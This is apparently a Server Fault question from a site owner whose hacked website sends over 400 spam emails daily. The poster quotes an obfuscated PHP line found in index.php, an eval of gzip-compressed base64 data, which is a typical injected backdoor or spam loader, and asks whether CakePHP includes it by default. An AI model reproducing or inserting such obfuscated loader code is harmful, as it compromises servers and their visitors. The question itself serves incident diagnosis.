Site got hacked and it's sending more than 400 emails per day from my site
<blockquote>
  <p><strong>Possible Duplicate:</strong><br>
  <a href="http://serverfault.com/questions/218005/my-servers-been-hacked-emergency">My server&#39;s been hacked EMERGENCY</a>  </p>
</blockquote>



<p>So basically my site got hacked and a script is sending more than 400 emails per day. I have more than 100 files on server, and is there any fast way to check, from which file exactly it is sending? I don't know when exactly script is sending the mails, so I can't be sure from which file it's called. Is there any easy way to find out from which file it's sent?</p>

<pre><code> eval(gzuncompress(base64_decode('eF6Nkw9rozAYxr+Kk6EGyuh2f+CQcFdW297h7BZ17ChDokbNNZpi4na70u9+0WvXdnfFA8Hk5fc8Sd4noZl1RoUg0joXiMj6BYB1zniMmbYt2Ns/vFSjUJB6lJNKQiFryRl/JrV1HvkOunfQwpwFwW0Uqlk0mjpeYD4CpZHXTc1muEoZgV7ouruSS6sl1HWbZpal3NRnHSwwMHPOc0ZMAKGWYSYIMIx/ci+44LwfizFNm36sFFU/xFekxv1YUtS8/I8TxLTK+ymBM1zTfi7m8gACa9XfbcKvOSHnZh440Wg8Riojxcq6IZphaG/BLtDZ3A/2GFgf5hdjQT6+j1KS8JRYJp6hYTLmT+7VZJmW9z/iqw8lfvgm3dJ7iv1Pv9LpZOi+84bfH+6aZFo8m0C7MD/TFTS1C2VJqs7m1EYVazTqoLi7gceSfQc6LOUlplWFS3LK+vBorSJrGFthWZzeyl3o+EEUoq9bRVKQZNniu65NnWBhMs6Xf1/8RA0jWtH2nb12D9ibjUrniNTOVJ/bZwLWnUY585U8ZgbXIXLnt0GEnCBEXoBGnj9x0OASdI9VNEzCL52a/CTJsRbY3Yp/qMXwEUJ9rreZ7iu6ptskKbi2K9qbzixhXJC3bpvNbzILaXQ='))); ?&gt; 
</code></pre>

<p>This found in index.php file</p>

<p>My site is using cakePHP, so could it be there by default?</p>
